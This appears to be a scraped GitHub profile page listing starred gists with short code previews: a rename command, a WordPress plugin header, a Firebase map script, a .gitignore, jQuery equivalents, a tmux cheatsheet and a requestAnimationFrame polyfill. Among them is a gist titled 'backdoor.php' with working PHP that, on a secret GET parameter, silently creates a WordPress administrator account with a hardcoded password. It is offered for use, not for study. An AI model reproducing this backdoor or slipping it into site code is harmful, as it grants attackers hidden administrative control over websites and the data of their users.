Skip to content

Instantly share code, notes, and snippets.

View xavierartot's full-sized avatar

Xavier Artot xavierartot

  • Paris
View GitHub Profile
@nmccready
nmccready / use_ren
Created September 24, 2014 14:00
how to use ren osx brew all *.txt to *.xsv or zsh (zmv)
ren -v "*.txt" "#1.csv"
<?php
/*
Plugin Name: Salts Randomizer
Plugin URI: http://aristeides.com
Description: Change salts daily
Author: Aristeides Stathopoulos
Version: 0.1
Author URI: http://aristeides.com
*/
/*global Firebase, google, $, GeoFire */
(function () {
"use strict";
var map, previousInfowindow, ref, center, radiusInKm,
markers = {},
lines = {};
radiusInKm = 0.5;
ref = new Firebase("https://publicdata-parking.firebaseio.com/san_francisco");
center = [37.78565219391501, -122.4058404513338];
@octocat
octocat / .gitignore
Created February 27, 2014 19:38
Some common .gitignore configurations
# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
# Packages #
@joyrexus
joyrexus / README.md
Last active May 3, 2024 10:41 — forked from liamcurry/gist:2597326
Vanilla JS equivalents of jQuery methods

Sans jQuery

Events

// jQuery
$(document).ready(function() {
  // code
})
@jgalea
jgalea / backdoor.php
Created June 6, 2013 20:15
Create a backdoor to a WordPress website.
<?php
add_action( 'wp_head', 'my_backdoor' );
function my_backdoor() {
if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'mr_admin' ) ) {
$user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
@Huluk
Huluk / gist:5117702
Last active December 8, 2023 22:34
Open Files with Terminal Vim by default [mac, iterm]
If you want your terminal vim to open files you double click, follow the following steps (MacOS only):
1. Open Automator
2. Select Application
3. Copy the attached file
4. Save and set as default for opening files
Multiple files are opened in vim tabs.
If there is already a vim instance running, files are opened in it.
@malarkey
malarkey / Contract Killer 3.md
Last active April 16, 2024 21:44
The latest version of my ‘killer contract’ for web designers and developers

When times get tough and people get nasty, you’ll need more than a killer smile. You’ll need a killer contract.

Used by 1000s of designers and developers Clarify what’s expected on both sides Helps build great relationships between you and your clients Plain and simple, no legal jargon Customisable to suit your business Used on countless web projects since 2008

…………………………

tmux cheatsheet

As configured in my dotfiles.

start new:

tmux

start new with session name:

@paulirish
paulirish / rAF.js
Last active March 22, 2024 00:00
requestAnimationFrame polyfill
// http://paulirish.com/2011/requestanimationframe-for-smart-animating/
// http://my.opera.com/emoller/blog/2011/12/20/requestanimationframe-for-smart-er-animating
// requestAnimationFrame polyfill by Erik Möller. fixes from Paul Irish and Tino Zijdel
// MIT license
(function() {
var lastTime = 0;
var vendors = ['ms', 'moz', 'webkit', 'o'];